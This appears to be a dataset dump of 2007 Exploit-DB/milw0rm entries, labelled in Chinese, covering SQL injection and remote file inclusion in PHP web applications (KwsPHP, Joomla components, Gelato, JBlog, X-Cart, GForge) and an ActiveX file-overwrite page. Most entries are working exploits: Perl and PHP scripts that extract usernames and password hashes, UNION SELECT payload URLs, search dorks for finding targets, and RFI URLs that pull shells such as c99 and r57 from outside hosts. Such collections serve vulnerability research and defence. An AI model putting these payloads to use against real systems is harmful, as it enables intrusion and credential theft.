QLWD/code_shield huggingface dataset:
标题: phpsyncml 0.1.2 - Remote File Inclusion EDB-ID: 4421 CVE: 2007-4978 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-18 漏洞利用脚本: ========================================================================
||  ##    ##   ##           ##########   #######     ########         ||
||   ##  ##    ##########   ##########   ##   ##     ##               ||
||    ####     ##########   ##      ##   #######     ########         ||
||    ####     ##  ##  ##   ##      ##   #######           ##         ||
||   ##  ##    ##  ##  ##   ##########   ##    ##          ##         ||
||  ##    ##   ##  ##  ##   ##########   ##     ##   ########         ||
========================================================================
========================================================================
[*] phpsyncml <= 0.1.2   Remote File Include Vulnerability            ||
[!] Application homepage :                                            ||
kent.dl.sourceforge.net/sourceforge/phpsyncml/phpsyncml-0.1.2.tar.bz2 ||
[!] Author               :  S.W.A.T.                                  ||
[!] Site                 :  wWw.XmorS.CoM                             ||
[!] Y!ID                 :  Svvateam                                  ||
[!] E-Mail               :  S.W.4.T@hackermail.CoM                    ||
[!] Location             :  Iran - 071                                ||
[!] Risk                 :  Moderate ( High )                         ||
[!] Dork                 :   :(                                       ||
========================================================================
========================================================================
Vuln. code: wbxml/WBXML/Decoder.php & Encoder.php               ||
                                                                      ||
========================================================================
[*] Exploitation :                                                    ||
                                                                      ||
[target]/[path]/wbxml/WBXML/Decoder.php?base_dir=[Shell]              ||
[target]/[path]/wbxml/WBXML/Encoder.php?base_dir=[Shell]              ||
========================================================================
[!] We Are : Scorpiunix - Kamy4r - S.W.A.T. - D3vil_B0Y_Ir -          ||
[!] The_Editor - Silliconic - Sh3llH3ll                               ||
                                                                      ||
[!] I Love Xmors & All Member Of Them                                 ||
                     ||
[!] DeltaHackingGroup = ( Lammers Group :D ) ,,!,,                    ||
                     ||
[!] Special Thanks To : Dj7xpl From Y! UnderGround Group              ||
              ||
[!] Tnx 2 : Str0ke - Google - SourceForge                             ||
========================================================================
# Xmors.Com [2007-09-18]

# milw0rm.com [2007-09-18] URL: https://www.exploit-db.com/exploits/4421
标题: KwsPHP 1.0 sondages Module - SQL Injection EDB-ID: 4422 CVE: 2007-4979 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-18 漏洞利用脚本: #########################################################################
    KwsPHP 1.0 sondages Module Remote SQL Injection Exploit
#########################################################################


## AUTHOR : H-T Team ( HouSSamix _ ToXiC350  )
## HOME : http://no-hack.fr & http://no-hack.net


## Site: http://kws.koogar.org/
## Dork : inurl:index.php?mod=sondages


## EXPLOITS :

http://server.com/Path/index.php?mod=sondages&do=results&id=-1%20union%20select%201,2,3,concat(pseudo,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20users%20where%20id=1--



## GREETZ  : All members no-hack

#########################################################################
         KwsPHP 1.0 sondages Module Remote SQL Injection Exploit
######################################################################### 

# milw0rm.com [2007-09-18] URL: https://www.exploit-db.com/exploits/4422
标题: Joomla! Component flash fun! 1.0 - Remote File Inclusion EDB-ID: 4415 CVE: 2007-4955 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-15 漏洞利用脚本: ######################################
# Joomla Flash Fun! Component RFI    #
######################################

Bug in :
/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=
Variable : $mosConfig_live_site

Dork: "com_joomlaflashfun"

Example:

http://xxx.net/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=[attacker]


Greets to all Irc.RealWorm.Net #Morgan Users ;)

# milw0rm.com [2007-09-15] URL: https://www.exploit-db.com/exploits/4415
标题: Joomla! Component joom12pic 1.0 - Remote File Inclusion EDB-ID: 4416 CVE: 2007-4954 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-16 漏洞利用脚本: ######################################
# Joom!12Pic Component RFI           #
######################################

Bug in :
/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=
Variable : $mosConfig_live_site

Dork: "com_joom12pic"

Example:

http://xxx.net/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=[attacker]


Greets to all Irc.RealWorm.Net #Morgan Users ;)

# milw0rm.com [2007-09-16] URL: https://www.exploit-db.com/exploits/4416
标题: MW6 Technologies QRCode ActiveX 3.0 - Remote File Overwrite EDB-ID: 4420 CVE: 2007-4982 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-18 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>MW6 Technologies QRCode ActiveX 3.0 (MW6QRCode.dll) Remote File Overwrite</b>
 url: www.mw6tech.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 This control contains two methods, "SaveAsBMP()" and "SaveAsWMF()", which
 write to a file specified as an argument.
 These can be exploited to overwrite and corrupt arbitrary files on the
 system in the context of the currently logged-on user.

 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data
 KillBitSet: Falso</b> 
-----------------------------------------------------------------------------
<object classid='clsid:3BB56637-651D-4D1D-AFA4-C0506F57EAF8' id='test' width='24' height='24'></object>

<select style="width: 404px" name="Pucca">
  <option value = "SaveAsBMP">SaveAsBMP</option>
  <option value = "SaveAsWMF">SaveAsWMF</option>

</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "SaveAsBMP" then
     test.SaveAsBMP "c:\windows\system_.ini"
     MsgBox "Exploit completed."
   elseif Pucca.value = "SaveAsWMF" then
     test.SaveAsWMF "c:\windows\system_.ini"
     MsgBox "Exploit completed."
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-18] URL: https://www.exploit-db.com/exploits/4420
标题: KwsPHP 1.0 Member_Space Module - SQL Injection EDB-ID: 4413 CVE: 2007-4956 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-15 漏洞利用脚本: #!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

$host = $ARGV[0];
$User = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;
$port = "80";

 print q(
################################################################
#  Script....................: KwsPHP v1.0 Member_Space Module #
#  Script Site...............: http://kws.koogar.org/          #
#  Vulnerability.............: Remote SQL injection Exploit    #
#  Access....................: Remote                          #
#  level.....................: Dangerous                       #
#  Author....................: S4mi                            #
#  Contact...................: S4mi[at]LinuxMail.org           #
#        This Exploit Work Only When magic_quotes_gpc Is OFF   #
################### (C)oded By S4mi ############################

);


 if (@ARGV < 3) {
 print " #  usage : xpl.pl   host/path/     User Passwd\n";
 print " #    e.g : xpl.pl 127.0.0.1/KwsPHP/ zaz luks\n";
 exit();
 }

   print " [~] User/Password : $User/$passwd \n";
   print " [~] Host : $url \n";

 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();
 print " [~] Logining ...\n";
 $xpl->cookie_jar( $cookie_jar );
 $login = $xpl->post($url.'index.php',
 Content => [
 "pseudo" => "$User",
 "pass" => "$passwd",
 "submit" => "Se connecter",
 ],); 
 
$evil0 = "\x39\x39\x39\x39\x39\x27\x2F\x2A\x2A\x2F\x55\x4E\x49\x4F\x4E"
  ."\x2F\x2A\x2A\x2F\x53\x45\x4C\x45\x43\x54\x2F\x2A\x2A\x2F\x6E"
  ."\x75\x6C\x6C\x2C\x63\x6F\x6E\x63\x61\x74\x28\x63\x68\x61\x72"
  ."\x28\x31\x31\x37\x2C\x31\x31\x35\x2C\x31\x30\x31\x2C\x31\x31"
  ."\x34\x2C\x31\x31\x30\x2C\x39\x37\x2C\x31\x30\x39\x2C\x31\x30"
  ."\x31\x2C\x35\x38\x29\x2C\x70\x73\x65\x75\x64\x6F\x2C\x63\x68"
  ."\x61\x72\x28\x31\x32\x37\x29\x29\x2C\x63\x6F\x6E\x63\x61\x74"
  ."\x28\x63\x68\x61\x72\x28\x31\x31\x32\x2C\x39\x37\x2C\x31\x31"
  ."\x35\x2C\x31\x31\x35\x2C\x31\x31\x39\x2C\x31\x31\x31\x2C\x31"
  ."\x31\x34\x2C\x31\x30\x30\x2C\x35\x38\x29\x2C\x70\x61\x73\x73"
  ."\x2C\x63\x68\x61\x72\x28\x31\x32\x37\x29\x29\x2C\x6E\x75\x6C"
  ."\x6C\x2F\x2A\x2A\x2F\x46\x52\x4F\x4D\x2F\x2A\x2A\x2F\x75\x73"
  ."\x65\x72\x73\x2F\x2A\x2A\x2F\x57\x48\x45\x52\x45\x2F\x2A\x2A"
  ."\x2F\x69\x64\x3D\x31\x2F\x2A";

$offset = "\x65\x73\x70\x61\x63\x65\x5F\x6D\x65\x6D\x62\x72\x65\x26\x61"
   ."\x63\x3D\x63\x61\x72\x6E\x65\x74\x26\x61\x63\x74\x3D\x65\x64"
   ."\x69\x74\x65\x72\x26\x69\x64\x3D";

$target = $xpl->get($url."index.php?mod=$offset$evil0");



if($target->as_string =~ /value="username:(.*?"/) {
$zaz = $1;
print " [+] Exploit succeed! Getting admin information. \n";
print " [+] ------------------------------------------- \n";
}
if($target->as_string =~ /value="password:(.*?"/) {
$luks = $1;
print " [+] UserName : $zaz \n";
print " [+] Password : $luks \n";
}
else {
print " [-] Exploit Failed ! \n";
}
print "\n#############################################################\n";

# milw0rm.com [2007-09-15] URL: https://www.exploit-db.com/exploits/4413
标题: SimpCMS - 'keyword' SQL Injection EDB-ID: 4417 CVE: 2007-4953 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-16 漏洞利用脚本: SimpCMS <= all Remote SQL Injection Vulnerability


Found By : Ãº Cold z3ro , http://www.hackteach.org/


Script : http://www.simpcms.com/


====================================

Exploit :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,name,5,6/**/from/**/categories/*

OR

/index.php?site=search

in search area insert your query

$query = 1)'/**/union/**/select/**/0,1,2,3,$COLUMN,5,6/**/from/**/$TABLE/*

$TABLE = "categories" OR "news" OR "mysql.user" OR "mysql.db" OR 
"information_schema.tables"

$COLUMN = "name" OR "id" OR "username" OR "password"

Examples :

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

1 ) From $TABLE categories :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,name,5,6/**/from/**/categories/*

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

2 ) From $TABLE news :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,id,5,6/**/from/**/news/*

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

3 ) From $TABLE mysql.user :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,username,5,6/**/from/**/mysql.user/*
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,password,5,6/**/from/**/mysql.user/*

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

====================================

Live Example :

http://www.simpcms.com/medium/normal/index.php?site=search&keyword=1)'/**/union/**/select/**/0,user(),database(),3,name,5,6/**/from/**/categories/*

# milw0rm.com [2007-09-16] URL: https://www.exploit-db.com/exploits/4417
标题: Gelato - 'index.php?post' SQL Injection EDB-ID: 4410 CVE: 2007-4918 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-14 漏洞利用脚本: <?
#_ Gelato SQL Injection exploit
#_ Dork: "powered by gelato cms"
#_ Homepage: http://gelatocms.com

#_ [ s 0 c r a t e x ]
#_ msn: s0cratex[at]nasa[dot]gov
#_ greetz: D.O.M and plexinium team

ini_set("max_execution_time",0);

function get_text(){
  $in = fopen("php://stdin", 'r');
  $text = fgets($in, 1024);
  $text = trim($text);
  return $text; }

echo "Gelato SQL Injection exploit -- by s0cratex\n";
echo "-------------------------------------------\n\n";

echo "Host (site.com): ";
$host = get_text();

echo "Path (/gelato): ";
$path = get_text();

echo "Prefix (gl_ / gel_): ";
$prefix = get_text();

if($host && $path && prefix){
$cnx = fsockopen($host,80);
if($cnx){
fwrite($cnx,"GET
".$path."/index.php?post=-1/**/union/**/select/**/1,concat(0x7330633a3a,login,0x3a3a,password,0x3a3a),null,null,null,null,null/**/from/**/".$prefix."users/*
HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while(!feof($cnx)){ $resp .= fgets($cnx); }
fclose($cnx);

$login = strstr($resp,"s0c");
$login = explode("::",$login);
if(is_null($login[1]) || is_null($login[2])){ die("\nExploit failed... check
the prefix..."); }
echo "\nUsername: ".$login[1];
echo "\nMD5 Hash: ".$login[2];
} else { die("\nConection problems..."); }
} else { die("\nPlease check the data..."); }

/*
Gelato SQL Injection exploit -- by s0cratex
-------------------------------------------

Host (site.com): gelatocms.it
Path (/gelato): /
Prefix (gl_ / gel_): gel_

Username: wolly
MD5 Hash: 2eb7401af28ae266360b6028a26cc97a */

?>

# milw0rm.com [2007-09-14] URL: https://www.exploit-db.com/exploits/4410
标题: Joomla! Component Joomlaradio 5.0 - Remote File Inclusion EDB-ID: 4401 CVE: 2007-4923 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-13 漏洞利用脚本: ###########################
# Joomla Radio v5 Component RFI           #
###########################

Bug in :
administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php
Variable : $mosConfig_live_site

Download : http://www.joomlaos.de/option,com_remository/Itemid,41/func,fileinfo/id,2661.html

Dork: inurl:"com_joomlaradiov5"

Example:

www.site.com/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=http://scriptkiddie.com/c99haxor.txt?


Greets to all Irc.RealWorm.Net #Morgan Users ;)

# milw0rm.com [2007-09-13] URL: https://www.exploit-db.com/exploits/4401
标题: JBlog 1.0 - 'index.php?id' SQL Injection EDB-ID: 4408 CVE: 2007-4919 2007-3974 2007-3973 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-14 漏洞利用脚本: ##################################################
# Script....................................: JBlog ver 1.0
# Script Site...........................: http://www.jmuller.net/jblog/index.php
# Vulnerability........................: Remote SQL injection Exploit
# Access..................................: Remote
# level......................................: Dangerous
# Author..................................: S4mi 
# Contact.................................: S4mi[at]LinuxMail.org 
##################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39 .....
#
##################################################
#Vuln :
#http://127.0.0.1/jblog/index.php?id=[SQL]
#http://127.0.0.1/jblog/admin/modifpost.php?id=[SQL]  (shoud have access to admin area "use my last JBlog Xploit")
#Probably Other files are affected
#*************************************
#Usage  :       C:\Xploit.pl  127.0.0.1  /Jblog/
#Result Screen Shout :
#*************************************
# Connecting ...[OK]
# Sending Data ...[OK]
#
#  + Exploit succeed! Enjoy.
#  + ---------------- +
#  + Password: e10adc3949ba59abbe56e057f20f883e
#  + Username: admin
###################################################

#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1]));

$host = $ARGV[0];
$path = $ARGV[1];

syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
        
die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

$inject = "union%20select%200,login,pass,3,4,5%20from%20auteur%20WHERE%20id=1/*"; 

syswrite STDOUT ,"\n Sending Data ...";

print $sock "GET $path/index.php?id='$inject HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";

syswrite STDOUT ,"[OK]\n\n";

while($answer = <$sock>){

if ($answer =~ /class='titre'>(.*?)<\/span>/){
print "+ Exploit succeed! Enjoy.\n";
print "+ ---------------- +\n";
print "+ Password: $1\n";
} 
if($answer =~ / '(.*?)' /){
print "+ Username: $1\n";
}
}

sub usage{
 print "\nUsage   : perl $0 host /path/ ";
 print "\nExemple : perl $0 www.victim.com /JBlog/\n";
 exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script.................: JBlog ver 1.0
Script Site............: http://www.jmuller.net/jblog/index.php
Vulnerability..........: Remote SQL injection Exploit
Access.................: Remote
level..................: Dangerous 
Author.................: S4mi
Contact................: S4mi[at]LinuxMail.org 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# milw0rm.com [2007-09-14] URL: https://www.exploit-db.com/exploits/4408
标题: Ajax File Browser 3b - 'settings.inc.php?approot' Remote File Inclusion EDB-ID: 4405 CVE: 2007-4921 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-14 漏洞利用脚本: Ajax File Browser 3 Beta Remote File Inclusion
##############################################

                                                found by the "arfis project"
                                                http://arfis.wordpress.com/

Project Info:
-------------
 Name: Ajax File Browser
 Link: http://sourceforge.net/projects/ajaxfb/
 DL:   http://surfnet.dl.sourceforge.net/sourceforge/ajaxfb/afb-3-beta-2007-08-28.zip


Vulnerability Info:
-------------------
 File: _includes/settings.inc.php
 Line: 12
 Code: require_once($approot. _includes/functions_file.inc.php );


Exploit Example:
----------------
 http://localhost/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=http://localhost/r57.txt?


About arfis:
------------
 "arfis" stands for "automated Remote File Inclusion search". It's a perl script
 that automatically download and extract PHP projects from sourceforge.net. It then
 checks the project for RFI vulnerabilities, if found one it post's it to the arfis-
 blog, or database if you want to call it like that. Feel free to come around and
 find your own RFI:
                    http://arfis.wordpress.com/

# milw0rm.com [2007-09-14] URL: https://www.exploit-db.com/exploits/4405
标题: X-Cart - Multiple Remote File Inclusions EDB-ID: 4396 CVE: 2007-4907 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-11 漏洞利用脚本: ## xCart Remote file inclusion ##

## Download script : http://www.x-cart.com//

## Discovered By : aLiiF a.k.a [arif] @debuteam 07/09/2007

## HomePage : http://www.debuteam.net//

## Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0n_g0ku^
Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKey
s3ng0k home_edition Holong home_edition2001
th0nk Scr3W_W0rm jayoes and aLL @Debutem @Mildnet



########### ###########
## ##
## 333 444555 HH HH KK K ##
## 333 3332222 444 555 1133311 HH HH KK K ##
## 333 33322222 444 55 11 11 HH HH #### 00000 KKKK ##
## 333 333 22 444 55 11 11 HHaaHH ## 00 KKK ##
## 333 333 22 444 55 11 11 HH HH ##### 00 KKKK ##
## 333 333 22 444 555 11 11 HH HH # ## 00 KK K ##
## 333 333 22 444555 1133311 HH HH ##### 00000 KK K ##
## ##
########## ##########



/*****************************************************************************\
+-----------------------------------------------------------------------------+
| X-Cart |
| Copyright (c) 2001-2004 Ruslan R. Fazliev <rrf@rrf.ru> |
| All rights reserved. |
+-----------------------------------------------------------------------------+
#
# $Id: config.php,v 1.297.2.9 2004/02/05 12:25:43 mclap Exp $
#
# Global definitions & common functions
#

@include $xcart_dir."/prepare.php";

#
# Create Smarty object
#
if (!@include $xcart_dir."/smarty.php") {


#################################################################################


## Dork : "X-CART. Powerful PHP shopping cart software" ##
## ##


=-=-=-=-= () ExPloit () =-=-=-=-= =-=-=-=-= () ExPloit () =-=-=-=-=


## http://www.target.com/[xcart-path]/config.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/prepare.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/smarty.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/customer/product.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/provider/auth.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/admin/auth.php?xcart_dir=http://urhost/[inject]?

===================================================================


## Contack person : aliif@debuteam.net

## ViVa Debuteam !!! 

# milw0rm.com [2007-09-11] URL: https://www.exploit-db.com/exploits/4396
标题: GForge < 4.6b2 - 'skill_delete' SQL Injection EDB-ID: 4404 CVE: 2007-4966 2007-3913 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-13 漏洞利用脚本: Sql Injection Vulnerability In GForge

Portcullis Security Advisory 07-014

Vulnerable System: All current versions till 4.6b2

Vulnerability Title: Sql Injection

Vulnerability Discovery and Development: Portcullis Security Testing Services.

Credit for Discovery: Summit Siddharth - Portcullis Computer Security Ltd.

Affected systems: N/A

Vendor Status: emailed vendor 17/08/2007

Details:

vulnerable script:- /www/people/editprofile.php

'skill_delete' parameter is not properly sanitized. The following POST request made to the vulnerable script will result in disclosure of all the usernames/password stored in the backend databases.

skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+from+users--%3d1&MultiDelete=Delete

Impact: This could lead to unauthorized access of information.

Exploit:

POST request to:/www/people/editprofile.php

skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+from+users--%3d1&MultiDelete=Delete .

This will work irrespective of the 'magic_quotes_gpc' php setting. 

# milw0rm.com [2007-09-13] URL: https://www.exploit-db.com/exploits/4404
标题: KwsPHP Module jeuxflash 1.0 - 'id' SQL Injection EDB-ID: 4400 CVE: 2007-4922 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-13 漏洞利用脚本: #########################################################################
KwsPHP  Module   ( jeuxflash )    Remote SQL Injection Vulnerability
#########################################################################


## AUTHOR : H-T Team ( HouSSamix _ ToXiC350  )
## HOME : http://no-hack.fr & http://no-hack.net


## Site:
http://koogar.alorys-hebergement.com/kwsphp/index.php?mod=downloads&filedl=30&before=8&p_dl=1
## Dork : inurl:index.php?mod=jeuxflash


## EXPLOITS :

http://server.com/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pseudo,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1--

http://server.com/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pass,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1--


## Note
you must register first



## GREETZ  :  CoNaN , hell15 , RachiDox , Mr Al3FriTe , muslim4ever , DDoS

#########################################################################
KwsPHP  Module   ( jeuxflash )    Remote SQL Injection Vulnerability
#########################################################################

# milw0rm.com [2007-09-13] URL: https://www.exploit-db.com/exploits/4400